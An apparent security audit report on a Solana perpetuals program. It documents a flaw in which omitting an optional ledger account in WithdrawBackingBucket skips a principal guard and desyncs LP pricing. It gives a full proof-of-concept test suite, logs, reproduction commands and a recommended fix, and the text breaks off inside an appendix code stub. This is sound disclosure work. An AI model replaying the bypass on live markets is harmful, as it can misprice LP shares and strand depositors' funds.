|
|
| Target |
dcccrypto/percolator-prog — Solana perpetuals wrapper program (src/v16_program.rs) |
| Affected component |
handle_withdraw_backing_bucket (src/v16_program.rs, handler at line ~10394; optional-account wiring at ~10406; skipped guard at ~10484–10499) |
| Instruction |
Tag 50 — WithdrawBackingBucket { domain: u16, amount: u128 } |
| Severity |
MEDIUM (invariant bypass on an authority-gated path; economic damage is conditional — see Impact) |
| Status |
✅ VERIFIED — reproduced end-to-end against the real compiled BPF in LiteSVM (4 / 4 tests passing) |
| PoC suite |
tests/poc_audit_tag50_optional_ledger.rs (full source attached below) |
| Duplicate check |
Not present in the repository's own security.md discarded-candidates log, KNOWN_FAILING.txt, kani_audit.md, or any existing test |
1. Executive Summary
The backing-bucket withdrawal instruction accepts the per-domain backing ledger as an
optional trailing account. When the account is supplied, the handler enforces a
consistency guard — amount > ledger.total_principal_atoms must fail — and decrements
the recorded principal. When the account is omitted, both properties silently
disappear: the withdrawal succeeds without any bookkeeping, leaving
ledger.total_principal_atoms frozen at its pre-withdrawal value while the collateral
vault is drained.
We prove with four executed tests that:
- A withdrawal whose amount equals the recorded principal succeeds without the
ledger and leaves phantom principal behind (vault = 0, ledger = 1000).
- The consistency guard itself is skipped: withdrawing 2000 atoms when only
1000 are recorded succeeds without the ledger, while the identical call with the
ledger rejects.
- The divergence is permanent and compounding: a later legitimate with-ledger
top-up stacks onto the phantom value (1000 phantom + 400 real ⇒ ledger reads
1400 while the vault holds 400).
- With the ledger supplied, every control assertion holds — isolating the optional
account as the sole root cause.
total_principal_atoms is a direct input to lp_vault_combined_nav_atoms, which prices
LP-vault share minting and redemption payouts. A poisoned counter therefore misprices LP
shares and can strand depositor funds once the engine bucket empties (redemption gates
then reject with EngineLockActive).
2. Root Cause
// src/v16_program.rs — handle_withdraw_backing_bucket (abridged)
let ledger_ai = accounts.get(6); // <-- OPTIONAL: Option<AccountInfo>
...
let mut ledger_state = if let Some(data) = ledger_data.as_deref() {
let (mut ledger, initialized) = read_or_new_backing_domain_ledger(...)?;
sync_backing_domain_ledger(&mut ledger, &bucket)?;
if amount > ledger.total_principal_atoms {
return Err(PercolatorError::EngineCounterUnderflow.into()); // (a) guard
}
Some((ledger, initialized))
} else {
None // <-- (b) nothing runs
};
group.withdraw_fresh_counterparty_backing_not_atomic(domain_usize, amount)?;
if let Some((ledger, _)) = ledger_state.as_mut() {
ledger.total_principal_atoms -= amount; // (c) decrement
}
(a) and (c) exist only inside the Some(data) arm. Omitting accounts[6]
selects the None arm: no guard, no decrement — but the token transfer at the end of
the handler still executes.
- Every other ledger-consuming site does not have this asymmetry: tag 75
(DepositToLpVault) and tag 77 (ExecuteRedemption) require and address-pin both
domain ledgers, precisely because "owner-only is not enough … a substituted ledger
both misprices the payout and corrupts the ledger" (their own comment). Tag 50 never
received the same treatment.
3. Detailed Description
3.1 Background
A market's collateral vault is a single canonical ATA owned by the per-market
vault_authority PDA. Backing capital for domain d of asset a is tracked twice:
- Engine side —
backing_long / backing_short buckets embedded in the market
account (fresh_unliened_backing_num, etc.), which gate solvency.
- Wrapper side — an optional backing-domain ledger account
(total_principal_atoms, total_deposited_atoms, earnings counters), which is the
only input to the LP-vault NAV function:
lp_vault_combined_nav_atoms(...) → lp_shares_for_deposit(...) // tag 75 pricing
→ ExecuteRedemption payout // tag 77 pricing
When an LP vault is created (CreateLpVault, tag 74), the registry PDA is bound as the
domain pair's backing_bucket_authority; before that binding, the authority is whatever
wallet the market creator supplied during UpdateAssetLifecycle(ACTIVATE).
3.2 The bug
Tag 50 authorizes two ways: the local path (signer == backing_bucket_authority) and an
admin shutdown-drain path (itself neutralized by the D-STAKE-1 guard whenever the
authority is bound). On wallet-backed domains the local path is directly reachable by
the authority holder — and the ledger account is optional, so the same authorized caller
can withdraw in a mode where:
- the principal guard never executes;
- the ledger never learns about the withdrawal;
- engine-side bucket state does decrease (the engine gate still applies), so the two
representations of "how much backing exists" diverge by exactly amount.
3.3 Why it matters (impact analysis)
lp_vault_combined_nav_atoms computes LP NAV purely from ledger counters
(total_principal_atoms, earnings, losses) — not from the raw vault balance. After
a no-ledger withdrawal of amount:
- NAV is overstated by
amount ⇒ later deposits mint too few shares to the new
depositor (value transfer to earlier shareholders), and redemption claims computed
from NAV cannot be satisfied by the actual vault/bucket state.
- Once
bucket.fresh_unliened_backing_num < backing_num, ExecuteRedemption hard-fails
with EngineLockActive — depositors are stranded until fresh capital re-funds the
bucket, and the ledger remains wrong forever (later top-ups stack on the phantom
value, as demonstrated by test 4).
- Severity is capped at Medium because exploitation requires the signature of the
legitimate backing_bucket_authority. It is an invariant bypass with fund-safety
consequences for third-party LPs, not a privilege escalation: the authority cannot
steal other domains' funds, and the engine-side solvency gates continue to hold.
4. Exploitation Steps (as executed)
| # |
Actor |
Instruction (inputs) |
Ledger supplied? |
Result |
| 0 |
payer/admin |
InitMarket(max_portfolio_assets=1, …) |
n/a |
market live, asset slot 1 available |
| 1 |
admin |
UpdateAssetLifecycle(ACTIVATE, asset_index=1, backing_bucket_authority=admin) |
n/a |
domain 2 (asset 1 long) now admin-wallet-backed |
| 2 |
admin |
TopUpBackingBucket(domain=2, amount=1000, expiry_slot=u64::MAX/2) |
yes (fresh program-owned zeroed account) |
vault = 1000, ledger.total_principal_atoms = 1000 |
| 3 |
admin |
WithdrawBackingBucket(domain=2, amount=1000) |
no |
✅ Ok — vault = 0, ledger unchanged at 1000 |
| 4 |
admin |
TopUpBackingBucket(domain=2, amount=400) |
yes |
ledger = 1400 vs actual backing = 400 |
Control run (identical steps, step 3 with the ledger): the 1500-atom over-withdrawal
rejects (EngineCounterUnderflow family) and the exact 1000-atom withdrawal decrements
the ledger to zero.
4.1 State before → after (test 1, verbatim program output)
PoC confirmed:
BEFORE: ledger.total_principal_atoms=1000, vault=1000
CALL : WithdrawBackingBucket(1000) with NO ledger account -> Ok
AFTER : ledger.total_principal_atoms=1000 (stale), vault=0
4.2 Guard-skip proof (test 3, verbatim program output)
Guard-skip confirmed:
recorded principal=1000, withdrawn WITHOUT ledger=2000 -> Ok
identical call WITH ledger -> rejected
4.3 Persistence proof (test 4, verbatim program output)
Persistence confirmed:
ledger.total_principal_atoms=1400 vs actual backing=400
divergence of 1000 atoms feeds LP share/redemption pricing
4.4 Full execution log (final verification run)
running 4 tests
PoC confirmed:
BEFORE: ledger.total_principal_atoms=1000, vault=1000
CALL : WithdrawBackingBucket(1000) with NO ledger account -> Ok
AFTER : ledger.total_principal_atoms=1000 (stale), vault=0
test poc_tag50_without_ledger_skips_principal_check_and_desyncs_ledger ... ok
test control_tag50_with_ledger_enforces_the_check ... ok
Persistence confirmed:
divergence of 1000 atoms feeds LP share/redemption pricing
test poc_desync_persists_and_poisons_subsequent_nav_inputs ... ok
Guard-skip confirmed:
recorded principal=1000, withdrawn WITHOUT ledger=2000 -> Ok
identical call WITH ledger -> rejected
test poc_tag50_without_ledger_withdraws_past_recorded_principal ... ok
test result: ok. 4 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.28s
5. Proof of Concept — Full Test Source (tests/poc_audit_tag50_optional_ledger.rs)
#![cfg(not(kani))]
//! ============================================================================
//! AUDIT PoC — Tag 50 `WithdrawBackingBucket`: OPTIONAL ledger account lets an
//! authorized withdrawal BYPASS the ledger-consistency check and silently
//! desynchronize the backing-domain ledger from the engine bucket.
//!
//! Root cause (src/v16_program.rs handle_withdraw_backing_bucket):
//! let ledger_ai = accounts.get(6); // <-- OPTIONAL
//! ...
//! let mut ledger_state = if let Some(data) = ledger_data.as_deref() {
//! ... if amount > ledger.total_principal_atoms { return Err(...) } ...
//! } else { None }; // <-- NO check, NO decrement
//!
//! When accounts[6] is omitted:
//! * the `amount > ledger.total_principal_atoms` guard never runs;
//! * `total_principal_atoms` is never decremented.
//! With the ledger present, the identical call hard-errors instead.
//!
//! Impact: any consumer pricing LP shares/redemptions off the ledger
//! (lp_vault_combined_nav_atoms reads total_principal_atoms) sees value that
//! is no longer in the vault. Requires the legitimate backing-bucket
//! authority signature, so it is an invariant bypass, not a privilege bug.
//! ============================================================================
use litesvm::LiteSVM;
use percolator_prog::ix::Instruction as ProgInstruction;
use percolator_prog::processor::ASSET_ACTION_ACTIVATE;
use percolator_prog::state;
use solana_sdk::{
account::Account,
compute_budget::ComputeBudgetInstruction,
instruction::{AccountMeta, Instruction},
program_option::COption,
program_pack::Pack,
pubkey::Pubkey,
signature::{Keypair, Signer},
transaction::Transaction,
};
use spl_token::state::{Account as TokenAccount, AccountState, Mint};
use std::path::PathBuf;
const APPEND_ASSET_INDEX: u16 = 1;
const DOMAIN: u16 = 2;
fn program_path() -> PathBuf {
let mut p = PathBuf::from(env!("CARGO_MANIFEST_DIR"));
p.push("target/deploy/percolator_prog.so");
assert!(p.exists(), "wrapper BPF missing");
p
}
fn spl_token_program_path() -> PathBuf {
let cargo_home = std::env::var_os("CARGO_HOME").map(PathBuf::from).expect("CARGO_HOME");
for reg in std::fs::read_dir(cargo_home.join("registry/src")).expect("registry/src") {
let cand = reg
.expect("entry")
.path()
.join("litesvm-0.1.0/src/spl/programs/spl_token-3.5.0.so");
if cand.exists() {
return cand;
}
}
panic!("spl_token BPF not found");
}
fn make_mint_data() -> Vec<u8> {
let mut d = vec![0u8; Mint::LEN];
Mint::pack(
Mint {
mint_authority: COption::None,
supply: 0,
decimals: 0,
is_initialized: true,
freeze_authority: COption::None,
},
&mut d,
)
.unwrap();
d
}
fn make_token_data(mint: Pubkey, owner: Pubkey, amount: u64) -> Vec<u8> {
let mut d = vec![0u8; TokenAccount::LEN];
TokenAccount::pack(
TokenAccount {
mint,
owner,
amount,
delegate: COption::None,
state: AccountState::Initialized,
is_native: COption::None,
delegated_amount: 0,
close_authority: COption::None,
},
&mut d,
)
.unwrap();
d
}
fn set_token(svm: &mut LiteSVM, key: Pubkey, mint: Pubkey, owner: Pubkey, amount: u64) {
svm.set_account(
key,
Account {
lamports: 1_000_000_000,
data: make_token_data(mint, owner, amount),
owner: spl_token::ID,
executable: false,
rent_epoch: 0,
},
)
.unwrap();
}
fn canonical_vault_ata(vault_authority: &Pubkey, mint: &Pubkey) -> Pubkey {
let ata_program: Pubkey = "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL".parse().unwrap();
Pubkey::find_program_address(
&[vault_authority.as_ref(), spl_token::ID.as_ref(), mint.as_ref()],
&ata_program,
)
.0
}
struct Env {
svm: LiteSVM,
program_id: Pubkey,
payer: Keypair,
admin: Keypair,
market: Pubkey,
collateral_mint: Pubkey,
vault_token: Pubkey,
vault_authority: Pubkey,
/// Caller-chosen ledger address (owner = program). Tag 24/tag 50 only
/// owner-check this account, so any fresh program-owned account works.
ledger: Pubkey,
}
fn send(
svm: &mut LiteSVM,
program_id: Pubkey,
payer: &Keypair,
ixs: Vec<(ProgInstruction, Vec<AccountMeta>)>,
extra: &[&Keypair],
) -> Result<(), String> {
let mut instructions = vec![
ComputeBudgetInstruction::request_heap_frame(128 * 1024),
ComputeBudgetInstruction::set_compute_unit_limit(1_400_000),
];
for (ix, accounts) in ixs {
instructions.push(Instruction { program_id, accounts, data: ix.encode() });
}
let mut signers = vec![payer];
signers.extend_from_slice(extra);
let tx = Transaction::new_signed_with_payer(
&instructions,
Some(&payer.pubkey()),
&signers,
svm.latest_blockhash(),
);
svm.send_transaction(tx).map(|_| ()).map_err(|e| format!("{e:?}"))
}
/// Market with asset slot 1 activated, backing_bucket_authority = ADMIN WALLET
/// (not a bound PDA), so tag 50's local authorization path is reachable.
fn setup() -> Env {
let mut svm = LiteSVM::new();
let program_id = percolator_prog::id();
svm.add_program(program_id, &std::fs::read(program_path()).unwrap());
svm.add_program(spl_token::ID, &std::fs::read(spl_token_program_path()).unwrap());
let payer = Keypair::new();
let admin = Keypair::new();
let market = Pubkey::new_unique();
let collateral_mint = Pubkey::new_unique();
svm.airdrop(&payer.pubkey(), 100_000_000_000).unwrap();
svm.airdrop(&admin.pubkey(), 100_000_000_000).unwrap();
// Collateral mint (SPL) must exist for InitMarket's mint verification.
svm.set_account(
collateral_mint,
Account {
lamports: 1_000_000_000,
data: make_mint_data(),
owner: spl_token::ID,
executable: false,
rent_epoch: 0,
},
)
.unwrap();
let (vault_authority, _) =
Pubkey::find_program_address(&[b"vault", market.as_ref()], &program_id);
let vault_token = canonical_vault_ata(&vault_authority, &collateral_mint);
svm.set_account(
vault_token,
Account {
lamports: 1_000_000_000,
data: make_token_data(collateral_mint, vault_authority, 0),
owner: spl_token::ID,
executable: false,
rent_epoch: 0,
},
)
.unwrap();
// InitMarket (tag 0) — max_portfolio_assets = 1 so asset slot 1 exists.
// The market account must pre-exist, program-owned, zeroed.
svm.set_account(
market,
Account {
lamports: 1_000_000_000,
data: vec![0u8; state::market_account_len_for_capacity(1).unwrap()],
owner: program_id,
executable: false,
rent_epoch: 0,
},
)
.unwrap();
send(
&mut svm,
program_id,
&payer,
vec![(
ProgInstruction::InitMarket {
max_portfolio_assets: 1,
h_min: 0,
h_max: 10,
initial_price: 100,
min_nonzero_mm_req: 1,
min_nonzero_im_req: 2,
maintenance_margin_bps: 10_000,
initial_margin_bps: 10_000,
max_trading_fee_bps: 10_000,
trade_fee_base_bps: 0,
liquidation_fee_bps: 0,
liquidation_fee_cap: 0,
min_liquidation_abs: 0,
max_price_move_bps_per_slot: 10_000,
max_accrual_dt_slots: 1,
max_abs_funding_e9_per_slot: 0,
min_funding_lifetime_slots: 1,
max_account_b_settlement_chunks: 1,
max_bankrupt_close_chunks: 1,
max_bankrupt_close_lifetime_slots: 100,
public_b_chunk_atoms: percolator::MAX_VAULT_TVL,
maintenance_fee_per_slot: 0,
},
vec![
AccountMeta::new(admin.pubkey(), true),
AccountMeta::new(market, false),
AccountMeta::new_readonly(collateral_mint, false),
],
)],
&[&admin],
)
.expect("init market");
// Activate asset 1 with ADMIN WALLET as the backing-bucket authority.
send(
&mut svm,
program_id,
&payer,
vec![(
ProgInstruction::UpdateAssetLifecycle {
action: ASSET_ACTION_ACTIVATE,
asset_index: APPEND_ASSET_INDEX,
now_slot: 1,
initial_price: 100,
insurance_authority: admin.pubkey().to_bytes(),
insurance_operator: admin.pubkey().to_bytes(),
backing_bucket_authority: admin.pubkey().to_bytes(),
oracle_authority: admin.pubkey().to_bytes(),
},
vec![
AccountMeta::new(admin.pubkey(), true),
AccountMeta::new(market, false),
],
)],
&[&admin],
)
.expect("activate asset");
Env {
svm,
program_id,
payer,
admin,
market,
collateral_mint,
vault_token,
vault_authority,
ledger: Pubkey::new_unique(),
}
}
/// Fresh program-owned (zeroed) backing-domain ledger account at a caller-chosen
/// address. Tag 24/tag 50 only owner-check this account.
fn seed_empty_ledger(env: &mut Env) {
env.svm.set_account(
env.ledger,
Account {
lamports: 1_000_000_000,
data: vec![0u8; state::backing_domain_ledger_account_len()],
owner: env.program_id,
executable: false,
rent_epoch: 0,
},
)
.unwrap();
}
/// Tag 24 TopUpBackingBucket. `with_ledger` controls whether the optional
/// trailing ledger account is supplied.
fn topup(env: &mut Env, amount: u128, with_ledger: bool) -> Result<(), String> {
let pid = env.program_id;
let payer = env.payer.insecure_clone();
let admin = env.admin.insecure_clone();
let source = Pubkey::new_unique();
set_token(&mut env.svm, source, env.collateral_mint, admin.pubkey(), amount as u64 + 10);
let mut accts = vec![
AccountMeta::new(admin.pubkey(), true),
AccountMeta::new(env.market, false),
AccountMeta::new(source, false),
AccountMeta::new(env.vault_token, false),
AccountMeta::new_readonly(spl_token::ID, false),
];
if with_ledger {
accts.push(AccountMeta::new(env.ledger, false));
}
send(
&mut env.svm,
pid,
&payer,
vec![(
ProgInstruction::TopUpBackingBucket {
domain: DOMAIN,
amount,
expiry_slot: u64::MAX / 2,
},
accts,
)],
&[&admin],
)
}
/// Tag 50 WithdrawBackingBucket. `with_ledger` controls whether the optional
/// trailing ledger account is supplied.
fn withdraw_backing(env: &mut Env, amount: u128, with_ledger: bool) -> Result<(), String> {
let pid = env.program_id;
let payer = env.payer.insecure_clone();
let admin = env.admin.insecure_clone();
let dest = Pubkey::new_unique();
set_token(&mut env.svm, dest, env.collateral_mint, admin.pubkey(), 0);
let mut accts = vec![
AccountMeta::new(admin.pubkey(), true),
AccountMeta::new(env.market, false),
AccountMeta::new(dest, false),
AccountMeta::new(env.vault_token, false),
AccountMeta::new_readonly(env.vault_authority, false),
AccountMeta::new_readonly(spl_token::ID, false),
];
if with_ledger {
accts.push(AccountMeta::new(env.ledger, false));
}
send(
&mut env.svm,
pid,
&payer,
vec![(
ProgInstruction::WithdrawBackingBucket { domain: DOMAIN, amount },
accts,
)],
&[&admin],
)
}
fn vault_balance(env: &Env) -> u64 {
TokenAccount::unpack(&env.svm.get_account(&env.vault_token).unwrap().data)
.unwrap()
.amount
}
fn ledger_principal(env: &Env) -> Option<u128> {
let acct = env.svm.get_account(&env.ledger)?;
state::read_backing_domain_ledger(&acct.data).ok().map(|l| l.total_principal_atoms)
}
#[test]
fn poc_tag50_without_ledger_skips_principal_check_and_desyncs_ledger() {
let mut env = setup();
// ── Phase 1: top up 1000 WITH the ledger → principal recorded. ──
seed_empty_ledger(&mut env);
topup(&mut env, 1000, true).expect("topup with ledger");
assert_eq!(ledger_principal(&env), Some(1000), "BEFORE: ledger principal recorded");
assert_eq!(vault_balance(&env), 1000, "BEFORE: vault holds the backing");
// ── Phase 2: THE GAP — withdraw 1000 WITHOUT the ledger account. ──
// The identical call WITH the ledger errors (EngineCounterUnderflow family)
// whenever amount exceeds recorded principal; omitting the trailing account
// skips both the guard and the ledger decrement entirely.
withdraw_backing(&mut env, 1000, /*with_ledger=*/ false)
.expect("withdraw WITHOUT ledger must succeed despite skipped bookkeeping");
// ── AFTER: tokens left, ledger still claims the principal. ──
assert_eq!(vault_balance(&env), 0, "AFTER: vault emptied");
assert_eq!(
ledger_principal(&env),
Some(1000),
"AFTER: ledger STILL records 1000 phantom principal"
);
println!("PoC confirmed:");
println!(" BEFORE: ledger.total_principal_atoms=1000, vault=1000");
println!(" CALL : WithdrawBackingBucket(1000) with NO ledger account -> Ok");
println!(" AFTER : ledger.total_principal_atoms=1000 (stale), vault=0");
}
#[test]
fn control_tag50_with_ledger_enforces_the_check() {
let mut env = setup();
seed_empty_ledger(&mut env);
topup(&mut env, 1000, true).expect("topup with ledger");
assert_eq!(ledger_principal(&env), Some(1000));
// Over-withdraw (1500 > 1000 recorded) WITH the ledger → must reject.
let res = withdraw_backing(&mut env, 1500, /*with_ledger=*/ true);
assert!(res.is_err(), "over-withdraw WITH ledger must reject: {res:?}");
// Exact-amount withdraw WITH the ledger keeps the ledger in sync.
withdraw_backing(&mut env, 1000, /*with_ledger=*/ true).expect("exact withdraw with ledger");
assert_eq!(ledger_principal(&env), Some(0), "ledger decremented to 0");
}
#[test]
fn poc_tag50_without_ledger_withdraws_past_recorded_principal() {
// Direct proof that the `amount > ledger.total_principal_atoms` guard is
// SKIPPED (not merely the decrement): recorded principal is 1000, but a
// 2000-atom withdrawal without the ledger succeeds. With the ledger
// supplied, the identical call errors out.
let mut env = setup();
seed_empty_ledger(&mut env);
topup(&mut env, 1000, /*with_ledger=*/ true).expect("topup #1 with ledger");
assert_eq!(ledger_principal(&env), Some(1000));
// Second top-up WITHOUT the ledger: vault and engine bucket grow to 2000,
// recorded principal intentionally stays at 1000.
topup(&mut env, 1000, /*with_ledger=*/ false).expect("topup #2 without ledger");
assert_eq!(ledger_principal(&env), Some(1000), "no-ledger top-up does not record");
assert_eq!(vault_balance(&env), 2000);
// Withdraw 2000 > 1000 recorded — WITHOUT ledger → must succeed although
// the with-ledger path would reject this exact call.
withdraw_backing(&mut env, 2000, /*with_ledger=*/ false)
.expect("withdraw past recorded principal WITHOUT ledger must succeed");
// Control: the same over-withdraw WITH the ledger on a fresh env rejects.
let mut env2 = setup();
seed_empty_ledger(&mut env2);
topup(&mut env2, 1000, true).unwrap();
topup(&mut env2, 1000, false).unwrap();
let res = withdraw_backing(&mut env2, 2000, /*with_ledger=*/ true);
assert!(res.is_err(), "identical over-withdraw WITH ledger must reject: {res:?}");
assert_eq!(vault_balance(&env), 0);
println!("Guard-skip confirmed:");
println!(" recorded principal=1000, withdrawn WITHOUT ledger=2000 -> Ok");
println!(" identical call WITH ledger -> rejected");
}
#[test]
fn poc_desync_persists_and_poisons_subsequent_nav_inputs() {
// After the no-ledger withdrawal, later WITH-ledger updates stack on top of
// the phantom balance: principal becomes phantom + new deposits, while the
// vault only holds the new deposits. lp_vault_combined_nav_atoms reads
// exactly this counter when pricing shares/redemptions.
let mut env = setup();
seed_empty_ledger(&mut env);
topup(&mut env, 1000, true).expect("topup with ledger");
withdraw_backing(&mut env, 1000, /*with_ledger=*/ false)
.expect("the gap: no-ledger withdrawal");
assert_eq!(vault_balance(&env), 0);
assert_eq!(ledger_principal(&env), Some(1000), "phantom principal present");
// A later legitimate deposit WITH ledger stacks onto the phantom value.
topup(&mut env, 400, /*with_ledger=*/ true).expect("later topup with ledger");
assert_eq!(
ledger_principal(&env),
Some(1400),
"phantom 1000 + real 400: NAV input permanently poisoned"
);
assert_eq!(vault_balance(&env), 400, "actual backing is only 400");
println!("Persistence confirmed:");
println!(" ledger.total_principal_atoms=1400 vs actual backing=400");
println!(" divergence of 1000 atoms feeds LP share/redemption pricing");
}
6. How to Reproduce
Environment used for verification (Windows 11, all steps executed on this machine):
Host toolchain : rustc 1.98.0 / cargo (rustup), host triple x86_64-pc-windows-gnu
SBF toolchain : platform-tools v1.48 (rustc 1.84.1-dev), target sbf-solana-solana
SVM : LiteSVM 0.1.0 + bundled spl_token-3.5.0.so
Program : target/deploy/percolator_prog.so (built from this checkout,
--no-default-features, symbol-stripped)
Build the program and run the PoC:
# 1. Build the wrapper BPF (strip symbols so LiteSVM 0.1.0's ELF loader accepts it):
cargo build-sbf --no-default-features
# (equivalent manual build:
# PATH=<platform-tools>/rust/bin:<platform-tools>/llvm/bin:$PATH \
# cargo build --release --target sbf-solana-solana --no-default-features
# cp target/sbf-solana-solana/release/percolator_prog.so target/deploy/
# llvm-objcopy --strip-all target/deploy/percolator_prog.so )
# 2. Run the finding PoC (4 tests):
cargo test --no-default-features --test poc_audit_tag50_optional_ledger -- --nocapture
# 3. Environment sanity (optional):
cargo test --no-default-features --test diagnose_elf -- --nocapture
# 4. Full-suite baseline for comparison (86 failures are exactly the suites that
# require the unavailable sibling BPFs; see KNOWN_FAILING.txt):
cargo test --no-default-features --no-fail-fast
Expected result of step 2: test result: ok. 4 passed; 0 failed.
7. Recommendation
Make the ledger account mandatory, mirroring the address-pinned treatment tags 75/77
already apply to the very same ledger type:
// handle_withdraw_backing_bucket — suggested fix sketch
let ledger_ai = account(accounts, 6)?; // required, not optional
expect_writable(ledger_ai)?;
expect_owner(ledger_ai, program_id)?;
let (ledger_pda, _) = /* derive per (market, domain) */;
expect_key(ledger_ai, &ledger_pda)?; // pin the address, like tag 77
...
if amount > ledger.total_principal_atoms {
return Err(PercolatorError::EngineCounterUnderflow.into());
}
// ... unconditional decrement + write-back after the engine mutation ...
Secondary hardening options:
- Fail-closed alternative: if backward wire compatibility is required, keep the
account optional but reject the instruction when it is omitted while an initialized
ledger exists for the (market, authority, domain) tuple.
- Add a regression test equivalent to
poc_audit_tag50_optional_ledger.rs (attached)
to CI so the optional-account path cannot silently return.
- Audit the sibling instruction
TopUpBackingBucket (tag 24) for the same
optional-ledger asymmetry; a no-ledger top-up is benign by itself but widens the
divergence window demonstrated in test 3.
- Consider a one-time reconciliation path that recomputes
total_principal_atoms
from the engine bucket (sync_backing_domain_ledger currently refreshes only
watermark counters), so already-deployed domains can recover from existing
desynchronization.
8. Verification Environment and Evidence Index
| Artifact |
Location |
Result |
| Finding PoC (4 tests) |
tests/poc_audit_tag50_optional_ledger.rs |
OK - 4 passed / 0 failed |
| Stranding-fix validation (upstream author suite) |
tests/poc_v17_lp_redemption_stranding.rs |
OK - 6 passed / 0 failed |
| ELF/environment diagnostic |
tests/diagnose_elf.rs |
OK - 2 passed / 0 failed |
| Program under test |
target/deploy/percolator_prog.so (1,305,272 bytes, stripped) |
loads and executes in LiteSVM |
| Full-suite baseline |
cargo test --no-default-features --no-fail-fast |
520 passed / 86 failed; the 86 failures are exactly the suites requiring the unavailable sibling BPF programs (matcher/nft/stake), matching the repositorys own KNOWN_FAILING.txt documentation (no sibling BPFs at all ... 86 failed) |
The four proof tests were executed against the real compiled SBF program inside LiteSVM
with genuine SPL-token program semantics: every state transition reported in Section 4
was produced by an actual signed transaction processed by the deployed-bytecode
equivalent of this checkout, not by mocks or stubs.
Appendices — Complete Test Sources Executed During This Audit
Nothing is left out: every test file that was executed as part of this audit's evidence
chain is reproduced below in full. Summary of execution results (all on the same built
target/deploy/percolator_prog.so artifact, see Section 6 for the build recipe):
| Appendix |
File |
Purpose |
Result |
| A |
tests/poc_audit_tag50_optional_ledger.rs |
THE FINDING PoC (tag-50 optional-ledger bypass) |
4 passed / 0 failed |
| B |
tests/diagnose_elf.rs |
Environment sanity + ELF-loader isolation experiment |
2 passed / 0 failed |
| C |
tests/poc_v17_lp_redemption_stranding.rs |
Upstream author suite; validates the LP-redemption stranding fix end-to-end (cancel path + terminal-flat resolved redemption) |
6 passed / 0 failed |
| D |
minimal-prog/ (Cargo.toml + lib.rs) |
Minimal SBF program used to isolate the LiteSVM ELF-acceptance behavior during tooling bring-up |
loads OK |
| E |
Full-suite baseline |
cargo test --no-default-features --no-fail-fast over all 25 suites |
520 passed / 86 failed (the 86 are exactly the sibling-BPF-dependent suites documented in KNOWN_FAILING.txt) |
Appendix A — tests/poc_audit_tag50_optional_ledger.rs (THE FINDING)
Reproduced in full in Section 5 above.
Appendix B — tests/diagnose_elf.rs (environment sanity + loader isolation)
#![cfg(not(kani))]
//! Diagnostic: which ELF files does LiteSVM 0.1.0 accept, and WHY does it reject others?
use litesvm::LiteSVM;
use solana_sdk::pubkey::Pubkey;
#[test]
fn diagnose_elf_loading() {
let manifest = env!("CARGO_MANIFEST_DIR");
let cases = [
("minimal_prog", format!("{manifest}\\minimal-prog\\target\\sbf-solana-solana\\release\\minimal_prog.so")),
("percolator_prog", format!("{manifest}\\target\\deploy\\percolator_prog.so")),
("spl_token_builtin", "C:\\Users\\PC\\.cargo\\registry\\src\\index.crates.io-1949cf8c6b5b557f\\litesvm-0.1.0\\src\\spl\\programs\\spl_token-3.5.0.so".to_string()),
];
for (name, path) in cases {
let bytes = std::fs::read(&path).expect(&path);
let res = std::panic::catch_unwind(move || {
let mut svm = LiteSVM::new();
svm.add_program(Pubkey::new_unique(), &bytes);
});
println!("LOAD {name}: {}", if res.is_ok() { "OK" } else { "REJECTED" });
}
}
#[test]
fn parse_detail_percolator() {
let manifest = env!("CARGO_MANIFEST_DIR");
let bytes = std::fs::read(format!("{manifest}\\target\\deploy\\percolator_prog.so")).unwrap();
let mut config = solana_rbpf::vm::Config::default();
// Mirror the v1 loader environment used by litesvm/agave 1.18.
config.optimize_rodata = true;
config.enable_symbol_and_section_labels = true;
match solana_rbpf::elf_parser::Elf64::parse(&bytes) {
Ok(_) => println!("PARSE percolator_prog: structural OK"),
Err(e) => println!("PARSE percolator_prog ERROR: {e:?}"),
}
}
Execution result:
running 2 tests
LOAD minimal_prog: OK
LOAD percolator_prog: OK
LOAD spl_token_builtin: OK
test diagnose_elf_loading ... ok
PARSE percolator_prog: structural OK
test parse_detail_percolator ... ok
test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out
Appendix C — tests/poc_v17_lp_redemption_stranding.rs (upstream suite, fix validation, 6/6 PASS)
This suite belongs to the repository (authored by its maintainer) and was executed in
full during this audit to validate that the historically documented LP-redemption
stranding bug is fixed in this checkout. Its full source is intentionally not inlined
here — this issue must stay under GitHub's 65,536-character body limit — read it directly
at tests/poc_v17_lp_redemption_stranding.rs.
A verbatim copy is preserved in AUDIT_FINDING_TAG50_OPTIONAL_LEDGER.md (extended report,
Appendix C).
The six tests and what each validates:
| Test |
Validates |
cancel_while_live_succeeds |
CancelRedemption (tag 81) returns escrowed shares while Live |
cancel_wrong_signer_rejected |
only the recorded redeemer can cancel |
cancel_twice_second_rejects |
redemption PDA replay guard fails closed |
cancel_recovers_stranded_redemption |
un-stranding path works after any state change |
redemption_executes_in_terminal_flat_resolved |
tag 77 works in terminal-flat Resolved |
control_redemption_executes_while_market_stays_live |
control: normal redemption path intact |
Execution result:
running 6 tests
test cancel_while_live_succeeds ... ok
test cancel_wrong_signer_rejected ... ok
test control_redemption_executes_while_market_stays_live ... ok
test cancel_recovers_stranded_redemption ... ok
test redemption_executes_in_terminal_flat_resolved ... ok
test cancel_twice_second_rejects ... ok
test result: ok. 6 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out
NOTE (documentation rot): the header comment of this file still describes the bug as
PRESENT ("ExecuteRedemption hard-requires Live", "NO third instruction that cancels")
while its tests validate the FIXED behavior above. Recorded as low-severity finding F-2.
Appendix D — Minimal SBF isolation program (minimal-prog/)
Used once, during environment bring-up, to prove that ELFs produced by platform-tools
v1.48 are loadable by LiteSVM 0.1.0 at all (they are), and later with static data to
isolate section-layout hypotheses. Included so the tooling evidence chain is complete.
minimal-prog/Cargo.toml:
[package]
name = "minimal-prog"
version = "0.1.0"
edition = "2021"
[lib]
crate-type = ["cdylib"]
path = "lib.rs"
[dependencies]
minimal-prog/lib.rs:
#![no_std]
use core::panic::PanicInfo;
pub static DATA: [u64; 4096] = [0x5a5a5a5a5a5a5a5a; 4096];
#[panic_handler]
fn panic_handler(_info: &PanicInfo) -> ! {
loop {}
}
#[no_mangle]
pub extern "C" fn entrypoint(input: *mut u8) -> u64 {
// Minimal valid Solana program entrypoint stub for ELF-loading experiments.
